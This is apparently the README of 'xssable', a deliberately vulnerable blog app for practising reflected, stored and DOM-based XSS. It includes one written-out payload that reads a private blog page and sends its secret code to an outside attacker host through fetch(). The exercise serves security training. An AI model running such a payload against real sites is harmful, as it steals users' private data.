xssable is a vulnerable blogging platform used to demonstrate XSS vulnerabilities.

To run it locally:

docker build . -t xssable:latest
docker run -p 5000:5000 xssable:latest

or

pip install -r requirements.txt
python app.py

Then access the application on http://127.0.0.1:5000.

Currently there are 4 different XSS vulnerabilities:

• a reflected XSS (with the possibility to bypass Chrome's XSS Auditor),
• a stored XSS with limited exploitation,
• a stored XSS without limitations, and
• a location.hash to .innerHTML based DOM XSS.

Exploitation (beyond alert() pop-ups) can be practiced by getting access to Connie's private blog post and stealing the secret code.

fetch('/blogs').then(r => r.text()).then(t => fetch('https://attacker.kiwi.com/?s='%2bt.split('%F0%9F%94%92')[1].split('<strong>')[1].split('<')[0]))</script>

The application highlights that:

• blacklists are bypass-able,
• browser protections are unreliable,
• not every "XSS" has the same impact,
• frameworks do unexpected stuff, and
• server-side validation is important.

• https://xss-game.appspot.com/ - good for basics, created by Google.
• https://knock.xss.moe - focused on exploitation and filter evasion.
• https://polyglot.innerht.ml/ - an awesome polyglot challenge (it's over by now and the results are public).